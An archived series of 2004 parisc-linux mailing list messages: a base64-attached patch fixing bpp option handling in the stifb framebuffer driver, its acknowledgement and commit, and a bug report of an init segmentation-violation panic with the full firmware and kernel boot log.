> +       for (i = 0; i < MAX_STI_ROMS; i++)
> +               stifb_bpp_pref[i] = 0;
>
> Rgs,
> Helge

Okay, here's the revised patch. Although the diff says its against
rc1-pa5 it should apply cleanly to rc1-pa8 (my rc1-pa5 has Helge's
second HCRX24 patch applied, making it equivalent to rc1-pa8).

Willy (or some other kind soul), can this get submitted please -
it fixes cruft in the previous options patch.

-Andy


------=_20041101231204_87131
Content-Type: application/octet-stream; name="stifb.c.awa.ud"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="stifb.c.awa.ud"

LS0tIGxpbnV4LTIuNi4xMC1yYzEtcGE1L2RyaXZlcnMvdmlkZW8vc3RpZmIuYwkyMDA0LTExLTAx
IDIyOjA4OjU4LjIwMTc1MDAwMCArMDEwMAorKysgbGludXgtMi42LjEwLXJjMS1wYTUuYXdhL2Ry
aXZlcnMvdmlkZW8vc3RpZmIuYwkyMDA0LTExLTAxIDE5OjMyOjQzLjAwMDAwMDAwMCArMDEwMApA
QCAtMTE1LDggKzExNSw3IEBACiAJdTMyIHBzZXVkb19wYWxldHRlWzI1Nl07CiB9OwogCi1zdGF0
aWMgaW50IF9faW5pdGRhdGEgYnBwID0gODsJLyogcGFyYW1ldGVyIGZyb20gbW9kcHJvYmUgKi8K
LXN0YXRpYyBpbnQgX19pbml0ZGF0YSBzdGlmYl9mb3JjZV9icHBbTUFYX1NUSV9ST01TXTsKK3N0
YXRpYyBpbnQgX19pbml0ZGF0YSBzdGlmYl9icHBfcHJlZltNQVhfU1RJX1JPTVNdOwogCiAvKiAt
LS0tLS0tLS0tLS0tLS0tLS0tIGNoaXBzZXQgc3BlY2lmaWMgZnVuY3Rpb25zIC0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tICovCiAKQEAgLTExNTgsNyArMTE1Nyw3IEBACiAgKi8KIAogaW50IF9f
aW5pdAotc3RpZmJfaW5pdF9mYihzdHJ1Y3Qgc3RpX3N0cnVjdCAqc3RpLCBpbnQgZm9yY2VfYnBw
KQorc3RpZmJfaW5pdF9mYihzdHJ1Y3Qgc3RpX3N0cnVjdCAqc3RpLCBpbnQgYnBwX3ByZWYpCiB7
CiAJc3RydWN0IGZiX2ZpeF9zY3JlZW5pbmZvICpmaXg7CiAJc3RydWN0IGZiX3Zhcl9zY3JlZW5p
bmZvICp2YXI7CkBAIC0xMjYxLDggKzEyNjAsOCBAQAogI2VuZGlmCiAJCWZiLT5kZXZpY2VTcGVj
aWZpY0NvbmZpZyA9IF9fcmF3X3JlYWRsKHN0aV9yb21fYWRkcmVzcyk7CiAJCWlmIChJU18yNF9E
RVZJQ0UoZmIpKSB7Ci0JCQlpZiAoZm9yY2VfYnBwID09IDggfHwgZm9yY2VfYnBwID09IDMyKQot
CQkJCWJwcCA9IGZvcmNlX2JwcDsKKwkJCWlmIChicHBfcHJlZiA9PSA4IHx8IGJwcF9wcmVmID09
IDMyKQorCQkJCWJwcCA9IGJwcF9wcmVmOwogCQkJZWxzZQogCQkJCWJwcCA9IDMyOwogCQl9IGVs
c2UKQEAgLTE0MTIsMjEgKzE0MTEsMjQgQEAKIAkKIAlkZWZfc3RpID0gc3RpX2dldF9yb20oMCk7
CiAJaWYgKGRlZl9zdGkpIHsKLQkJZm9yIChpID0gMTsgaSA8IE1BWF9TVElfUk9NUzsgaSsrKSB7
CisJCWZvciAoaSA9IDE7IGkgPD0gTUFYX1NUSV9ST01TOyBpKyspIHsKIAkJCXN0aSA9IHN0aV9n
ZXRfcm9tKGkpOwotCQkJaWYgKHN0aSA9PSBkZWZfc3RpICYmIGJwcCA+IDApCi0JCQkJc3RpZmJf
Zm9yY2VfYnBwW2ldID0gYnBwOworCQkJaWYgKCFzdGkpCisJCQkJYnJlYWs7CisJCQlpZiAoc3Rp
ID09IGRlZl9zdGkpIHsKKwkJCQlzdGlmYl9pbml0X2ZiKHN0aSwgc3RpZmJfYnBwX3ByZWZbaSAt
IDFdKTsKKwkJCQlicmVhazsKKwkJCX0KIAkJfQotCQlzdGlmYl9pbml0X2ZiKGRlZl9zdGksIHN0
aWZiX2ZvcmNlX2JwcFtpXSk7CiAJfQogCi0JZm9yIChpID0gMTsgaSA8IE1BWF9TVElfUk9NUzsg
aSsrKSB7CisJZm9yIChpID0gMTsgaSA8PSBNQVhfU1RJX1JPTVM7IGkrKykgewogCQlzdGkgPSBz
dGlfZ2V0X3JvbShpKTsKLQkJaWYgKCFzdGkgfHwgc3RpPT1kZWZfc3RpKQorCQlpZiAoIXN0aSkK
IAkJCWJyZWFrOwotCQlpZiAoYnBwID4gMCkKLQkJCXN0aWZiX2ZvcmNlX2JwcFtpXSA9IGJwcDsK
LQkJc3RpZmJfaW5pdF9mYihzdGksIHN0aWZiX2ZvcmNlX2JwcFtpXSk7CisJCWlmIChzdGkgPT0g
ZGVmX3N0aSkKKwkJCWNvbnRpbnVlOworCQlzdGlmYl9pbml0X2ZiKHN0aSwgc3RpZmJfYnBwX3By
ZWZbaSAtIDFdKTsKIAl9CiAJcmV0dXJuIDA7CiB9CkBAIC0xNDQxLDcgKzE0NDMsNyBAQAogCXN0
cnVjdCBzdGlfc3RydWN0ICpzdGk7CiAJaW50IGk7CiAJCi0JZm9yIChpID0gMTsgaSA8IE1BWF9T
VElfUk9NUzsgaSsrKSB7CisJZm9yIChpID0gMTsgaSA8PSBNQVhfU1RJX1JPTVM7IGkrKykgewog
CQlzdGkgPSBzdGlfZ2V0X3JvbShpKTsKIAkJaWYgKCFzdGkpCiAJCQlicmVhazsKQEAgLTE0NzMs
MTEgKzE0NzUsOSBAQAogCWlmIChzdHJuY21wKG9wdGlvbnMsICJicHAiLCAzKSA9PSAwKSB7CiAJ
CW9wdGlvbnMgKz0gMzsKIAkJZm9yIChpID0gMDsgaSA8IE1BWF9TVElfUk9NUzsgaSsrKSB7Ci0J
CQlpZiAoKm9wdGlvbnMrKyA9PSAnOicpIHsKLQkJCQlzdGlmYl9mb3JjZV9icHBbaV0gPSBzaW1w
bGVfc3RydG91bChvcHRpb25zLCAmb3B0aW9ucywgMTApOwotCQkJCWJwcCA9IC0xOwotCQkJfSBl
bHNlCisJCQlpZiAoKm9wdGlvbnMrKyAhPSAnOicpCiAJCQkJYnJlYWs7CisJCQlzdGlmYl9icHBf
cHJlZltpXSA9IHNpbXBsZV9zdHJ0b3VsKG9wdGlvbnMsICZvcHRpb25zLCAxMCk7CiAJCX0KIAl9
CiAJcmV0dXJuIDA7Cg==
------=_20041101231204_87131--



From - Thu Nov 08 21:32:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Patch for stifb=bpp:x:y handling
Date: Mon, 1 Nov 2004 23:04:47 +0100
Lines: 20
Approved: news@gmane.org
Message-ID: <200411012304.47678.deller@gmx.de>
References: <36432.127.0.0.1.1099347124.squirrel@127.0.0.1>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623590 11663 80.91.229.3 (22 Nov 2014 02:33:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:10 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Andy Walker" <ajwalker@broadpark.no>
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 13193 invoked by uid 65534); 1 Nov 2004 22:05:19 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx050) with SMTP; 01 Nov 2004 23:05:19 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 47F363BE3E; Mon,  1 Nov 2004 15:05:09 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18003-03; Mon, 1 Nov 2004 15:05:09 -0700 (MST)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E13C53BE27; Mon,  1 Nov 2004 15:04:57 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F19D63BDDD
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  1 Nov 2004 15:04:53 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 17946-02 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 1 Nov 2004 15:04:52 -0700 (MST)
Original-Received: from mail.gmx.net (imap.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 0BF4D3BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  1 Nov 2004 15:04:52 -0700 (MST)
Original-Received: (qmail 5983 invoked by uid 65534); 1 Nov 2004 22:04:51 -0000
Original-Received: from pD9FE7640.dip.t-dialin.net (EHLO p100) (217.254.118.64)
	by mail.gmx.net (mp004) with SMTP; 01 Nov 2004 23:04:51 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.7.50
In-Reply-To: <36432.127.0.0.1.1099347124.squirrel@127.0.0.1>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22095

Hi Andy,

On Monday 01 November 2004 23:12, Andy Walker wrote:
> Okay, here's the revised patch. Although the diff says its against
> rc1-pa5 it should apply cleanly to rc1-pa8 (my rc1-pa5 has Helge's
> second HCRX24 patch applied, making it equivalent to rc1-pa8).
> 
> Willy (or some other kind soul), can this get submitted please -
> it fixes cruft in the previous options patch.

Thanks!
I just committed it to CVS and it's now in 2.6.10-rc1-pa9.

Helge
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Andy Walker" <ajwalker@broadpark.no>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Patch for stifb=bpp:x:y handling
Date: Tue, 2 Nov 2004 10:38:58 +0100 (CET)
Lines: 21
Approved: news@gmane.org
Message-ID: <22892.193.160.141.5.1099388338.squirrel@193.160.141.5>
References: <36432.127.0.0.1.1099347124.squirrel@127.0.0.1>
    <200411012304.47678.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416623590 11665 80.91.229.3 (22 Nov 2014 02:33:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:10 +0000 (UTC)
Cc: "Andy Walker" <ajwalker@broadpark.no>,
 parisc-linux@lists.parisc-linux.org
To: "Helge Deller" <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <ajwalker@broadpark.no>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 6952 invoked by uid 65534); 2 Nov 2004 08:49:03 -0000
Original-Received: from mail.broadpark.no (EHLO mail.broadpark.no) (217.13.4.2)
  by mx0.gmx.net (mx013) with SMTP; 02 Nov 2004 09:49:03 +0100
Original-Received: from tolstoy.puszczka.com (105.80-202-73.nextgentel.com [80.202.73.105])
	by mail.broadpark.no (Postfix) with ESMTP
	id 7B7E940A2; Tue,  2 Nov 2004 09:49:22 +0100 (MET)
Original-Received: by tolstoy.puszczka.com (Postfix, from userid 81)
	id 534237E35; Tue,  2 Nov 2004 10:38:58 +0100 (CET)
Original-Received: from 193.160.141.5
        (SquirrelMail authenticated user andy);
        by www.puszczka.com with HTTP;
        Tue, 2 Nov 2004 10:38:58 +0100 (CET)
In-Reply-To: <200411012304.47678.deller@gmx.de>
User-Agent: SquirrelMail/1.4.3a
X-Mailer: SquirrelMail/1.4.3a
X-Priority: 3 (Normal)
Importance: Normal
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22096

> Hi Andy,
>
> On Monday 01 November 2004 23:12, Andy Walker wrote:
>> Okay, here's the revised patch. Although the diff says its against
>> rc1-pa5 it should apply cleanly to rc1-pa8 (my rc1-pa5 has Helge's
>> second HCRX24 patch applied, making it equivalent to rc1-pa8).
>>
>> Willy (or some other kind soul), can this get submitted please -
>> it fixes cruft in the previous options patch.
>
> Thanks!
> I just committed it to CVS and it's now in 2.6.10-rc1-pa9.
>
> Helge
>
Thank you! Your HCRX24 went in the post first thing this morning.
Hope it gets there unharmed.

-Andy



From - Thu Nov 08 21:32:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [BUG] 2.6.10-rc1 "INIT: PANIC: segmentation
	violation!"
Date: Tue, 2 Nov 2004 17:44:05 -0700
Lines: 278
Approved: news@gmane.org
Message-ID: <20041103004405.GA4548@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623590 11670 80.91.229.3 (22 Nov 2014 02:33:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:10 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 28968 invoked by uid 65534); 3 Nov 2004 00:45:41 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx034) with SMTP; 03 Nov 2004 01:45:41 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id C04AF3BE27; Tue,  2 Nov 2004 17:45:39 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32207-02; Tue, 2 Nov 2004 17:44:58 -0700 (MST)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 7E89C3BE26; Tue,  2 Nov 2004 17:44:17 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 58B5E3BD42
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  2 Nov 2004 17:44:11 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 32085-01 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 2 Nov 2004 17:44:10 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 62F923BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  2 Nov 2004 17:44:09 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 58309298145
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  2 Nov 2004 17:44:08 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04344-10 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 2 Nov 2004 17:44:06 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id E52C929813D; Tue,  2 Nov 2004 17:44:05 -0700 (MST)
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22097

Hi all,
I've fixed the PCI-X config accessor functions and they
now work. But now the box won't boot with NFS root.
Last message repeats itself:
...
Starting deferred execution scheduler: atd.
Starting periodic command scheduler: cron.
INIT: PANIC: segmentation violation! sleeping for 30 seconds.
INIT: PANIC: segmentation violation! sleeping for 30 seconds.
INIT: PANIC: segmentation violation! sleeping for 30 seconds.
...

Can't ssh into the box though I can ping it.
Full console output from "ior" is appended.

BTW, I still have to deal with the "FAILED: lba_fixup_bus()" error
message. It just means resources aren't properly reported for one
PCI bus though the resources happen to already be assigned by firmware
on that particular PCI bus (not others).

thanks,
grant


Firmware Version  44.24

Duplex Console IO Dependent Code (IODC) revision 1
------------------------------------------------------------------------------
   (c) Copyright 1995-2004, Hewlett-Packard Company, All rights reserved
------------------------------------------------------------------------------

  Processor   Speed            State           CoProcessor State  Cache Size
  Number                                       State              Inst    Data
  ---------  --------   ---------------------  -----------------  ------------
      0      800  MHz   Active                 Functional         33554432 33554432
      1      800  MHz   Idle                   Functional         33554432 33554432
      2      800  MHz   Idle                   Functional         33554432 33554432
      3      800  MHz   Idle                   Functional         33554432 33554432

  Central Bus Speed (in MHz)  :        200  
  Available Memory            :     524288  KB
  Good Memory Required        : Not initialized. Defaults to 32 MB. 

   Primary boot path:    0/1/1/0.0           
   Alternate boot path:  0/0/2/0.3           
   Console path:         0/7/1/1.0           
   Keyboard path:        0/0/4/0.0           

   *** Manufacturing permissions ON ***
   System is hp server series



---- Main Menu ---------------------------------------------------------------

     Command                           Description
     -------                           -----------
     BOot [PRI|ALT|<path>]             Boot from specified path
     PAth [PRI|ALT|CON|KEY] [<path>]   Display or modify a path
     SEArch [DIsplay|IPL] [<path>]     Search for boot devices

     COnfiguration menu                Displays or sets boot values
     INformation menu                  Displays hardware information
     SERvice menu                      Displays service commands
     DeBug menu                        Displays debug commands
     MFG menu                          Displays manufacturing commands

     DIsplay                           Redisplay the current menu
     HElp [<menu>|<command>]           Display help for menu or command
     RESET                             Restart the system
----
Main Menu: Enter command or menu > bo ls
Main Menu: Enter command or menu > bo lan
Interact with IPL (Y, N, or Cancel)?> n

Booting... 
Boot IO Dependent Code (IODC) revision 3


HARD Booted.
palo ipl 1.5 root@c3k Fri May 14 16:17:38 MDT 2004

Boot image contains:
    0/vmlinux64 6583860 bytes @ 0xa000

Command line for kernel: 'root=/dev/nfs nfsroot=192.168.1.61:/home/tftpboot/ior ip=dhcp console=ttyS1 palo_kernel=0HOME=/'
Selected kernel: HOME=/ from partition 0
Warning: kernel name doesn't end with 32 or 64 -- Guessing... Choosing 64-bit kernelELF64 executable
Entry 00100000 first 00100000 n 2
Segment 0 load 00100000 size 4727168 mediaptr 0x1000
Segment 1 load 00584000 size 602246 mediaptr 0x484000
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

Linux version 2.6.10-rc1-pa9 (grundler@gsyprf11.external.hp.com) (gcc version 3.0.4) #66 Tue Nov 2 16:22:24 PST 2004
FP[0] enabled: Rev 1 Model 20
The 64-bit Kernel has started...
Determining PDC firmware type: 64 bit PAT.
model 00008870 00000491 00000000 00000002 3e0505e7352af70f 100000f0 00000008 000000b2 000000b2
vers  00000301
CPUID vers 20 rev 4 (0x00000284)
capabilities 0x35
model 9000/800/rp3440  
parisc_cache_init: Only equivalent aliasing supported!
Total Memory: 510 Mb
Built 1 zonelists
Kernel command line: root=/dev/nfs nfsroot=192.168.1.61:/home/tftpboot/ior ip=dhcp console=ttyS1 palo_kernel=0HOME=/
PID hash table entries: 2048 (order: 11, 65536 bytes)
Console: colour dummy device 160x64
Dentry cache hash table entries: 65536 (order: 7, 524288 bytes)
Inode-cache hash table entries: 32768 (order: 6, 262144 bytes)
Memory: 522240k available
Mount-cache hash table entries: 256 (order: 0, 4096 bytes)
NET: Registered protocol family 16
Searching for devices...
Found devices:
1. Storm Peak Slow at 0xfffffffffe780000 [128] { 0, 0x0, 0x887, 0x00004 }
2. Storm Peak Slow at 0xfffffffffe781000 [129] { 0, 0x0, 0x887, 0x00004 }
3. Storm Peak Slow at 0xfffffffffe798000 [152] { 0, 0x0, 0x887, 0x00004 }
4. Storm Peak Slow at 0xfffffffffe799000 [153] { 0, 0x0, 0x887, 0x00004 }
5. Everest Mako Memory at 0xfffffffffed08000 [8] { 1, 0x0, 0x0af, 0x00009 }
6. Pluto BC McKinley Port at 0xfffffffffed00000 [0] { 12, 0x0, 0x880, 0x0000c }
7. Mercury PCI Bridge at 0xfffffffffed20000 [0/0] { 13, 0x0, 0x783, 0x0000a }
8. Mercury PCI Bridge at 0xfffffffffed22000 [0/1] { 13, 0x0, 0x783, 0x0000a }
9. Mercury PCI Bridge at 0xfffffffffed24000 [0/2] { 13, 0x0, 0x783, 0x0000a }
10. Mercury PCI Bridge at 0xfffffffffed26000 [0/3] { 13, 0x0, 0x783, 0x0000a }
11. Mercury PCI Bridge at 0xfffffffffed28000 [0/4] { 13, 0x0, 0x783, 0x0000a }
12. Mercury PCI Bridge at 0xfffffffffed2c000 [0/6] { 13, 0x0, 0x783, 0x0000a }
13. Mercury PCI Bridge at 0xfffffffffed2e000 [0/7] { 13, 0x0, 0x783, 0x0000a }
14. BMC IPMI Mgmt Ctlr at 0xfffffff0f05b0000 [16] { 15, 0x0, 0x004, 0x000c0 }
Enabling PDC_PAT chassis codes support.
CONFIG_SMP=n  ignoring additional CPUs
CPU: probe of 129 failed with error 1
CONFIG_SMP=n  ignoring additional CPUs
CPU: probe of 152 failed with error 1
CONFIG_SMP=n  ignoring additional CPUs
CPU: probe of 153 failed with error 1
CPU(s): 1 x PA8800 (Mako) at 800.001500 MHz
Setting cache flush threshold to 21c5480 (1 CPUs online)
SBA found Pluto 2.3 at 0xfffffffffed00000
LBA version TR3.2 (0x32) found at 0xfffffffffed20000
LBA version TR3.2 (0x32) found at 0xfffffffffed22000
LBA version TR3.2 (0x32) found at 0xfffffffffed24000
LBA version TR3.2 (0x32) found at 0xfffffffffed26000
LBA version TR3.2 (0x32) found at 0xfffffffffed28000
LBA version TR3.2 (0x32) found at 0xfffffffffed2c000
LBA version TR3.2 (0x32) found at 0xfffffffffed2e000
FAILED: lba_fixup_bus() request for lmmio_space [fffffffff0000000/fffffffffecffffe]
SCSI subsystem initialized
unwind_init: start = 0x104482a0, end = 0x1046c8a0, entries = 9312
Performance monitoring counters enabled for Storm Peak Slow
Initializing Cryptographic API
Soft power switch support not available.
Generic RTC Driver v1.07
Serial: 8250/16550 driver $Revision: 1.90 $ 17 ports, IRQ sharing enabled
ttyS0 at MMIO 0xfffffffff4051000 (irq = 512) is a 16550A
ttyS1 at MMIO 0xfffffffff4050000 (irq = 512) is a 16550A
ttyS2 at MMIO 0xfffffffff4050010 (irq = 512) is a 16550A
ttyS3 at MMIO 0xfffffffff4050038 (irq = 512) is a 16550A
io scheduler noop registered
io scheduler anticipatory registered
io scheduler deadline registered
io scheduler cfq registered
RAMDISK driver initialized: 16 RAM disks of 6144K size 1024 blocksize
loop: loaded (max 8 devices)
tg3.c:v3.11 (October 20, 2004)
eth0: Tigon3 [partno(BCM95700A6) rev 0105 PHY(5701)] (PCI:66MHz:64-bit) 10/100/1000BaseT Ethernet 00:30:6e:4b:13:ad
eth0: RXcsums[1] LinkChgREG[0] MIirq[0] ASF[0] Split[0] WireSpeed[1] TSOcap[0] 
sym0: <1010-66> rev 0x1 at pci 0000:20:01.0 irq 192
sym0: No NVRAM, ID 7, Fast-80, LVD, parity checking
sym0: SCSI BUS has been reset.
scsi0 : sym-2.1.18m
elevator: using anticipatory as default io scheduler
  Vendor: HP 73.4G  Model: ST373453LC        Rev: HPC3
  Type:   Direct-Access                      ANSI SCSI revision: 03
sym0:0:0: tagged command queuing enabled, command queue depth 16.
 target0:0:0: Beginning Domain Validation
sym0:0: wide asynchronous.
sym0:0: FAST-80 WIDE SCSI 160.0 MB/s DT (12.5 ns, offset 62)
 target0:0:0: Ending Domain Validation
  Vendor: HP 73.4G  Model: ST373453LC        Rev: HPC3
  Type:   Direct-Access                      ANSI SCSI revision: 03
sym0:1:0: tagged command queuing enabled, command queue depth 16.
 target0:0:1: Beginning Domain Validation
sym0:1: wide asynchronous.
sym0:1: FAST-80 WIDE SCSI 160.0 MB/s DT (12.5 ns, offset 62)
 target0:0:1: Ending Domain Validation
sym1: <1010-66> rev 0x1 at pci 0000:20:01.1 irq 193
sym1: No NVRAM, ID 7, Fast-80, LVD, parity checking
sym1: SCSI BUS has been reset.
scsi1 : sym-2.1.18m
st: Version 20040403, fixed bufsize 32768, s/g segs 256
SCSI device sda: 143374738 512-byte hdwr sectors (73408 MB)
SCSI device sda: drive cache: write through
 sda: sda1 sda2
Attached scsi disk sda at scsi0, channel 0, id 0, lun 0
SCSI device sdb: 143374738 512-byte hdwr sectors (73408 MB)
SCSI device sdb: drive cache: write back
 sdb: sdb1 sdb2 sdb3
Attached scsi disk sdb at scsi0, channel 0, id 1, lun 0
Attached scsi generic sg0 at scsi0, channel 0, id 0, lun 0,  type 0
Attached scsi generic sg1 at scsi0, channel 0, id 1, lun 0,  type 0
md: linear personality registered as nr 1
md: raid0 personality registered as nr 2
md: raid1 personality registered as nr 3
md: md driver 0.90.0 MAX_MD_DEVS=256, MD_SB_DISKS=27
NET: Registered protocol family 2
IP: routing cache hash table of 4096 buckets, 32Kbytes
TCP: Hash tables configured (established 32768 bind 32768)
NET: Registered protocol family 1
NET: Registered protocol family 17
Sending DHCP requests .<6>tg3: eth0: Link is up at 1000 Mbps, full duplex.
tg3: eth0: Flow control is off for TX and off for RX.
.., OK
IP-Config: Got DHCP answer from 192.168.1.61, my address is 192.168.1.10
IP-Config: Complete:
      device=eth0, addr=192.168.1.10, mask=255.255.255.0, gw=192.168.1.1,
     host=192.168.1.10, domain=external.hp.com, nis-domain=(none),
     bootserver=192.168.1.61, rootserver=192.168.1.61, rootpath=/home/tftpboot/ior/
md: Autodetecting RAID arrays.
md: autorun ...
md: ... autorun DONE.
Looking up port of RPC 100003/2 on 192.168.1.61
Looking up port of RPC 100005/1 on 192.168.1.61
VFS: Mounted root (nfs filesystem) readonly.
Freeing unused kernel memory: 256k freed
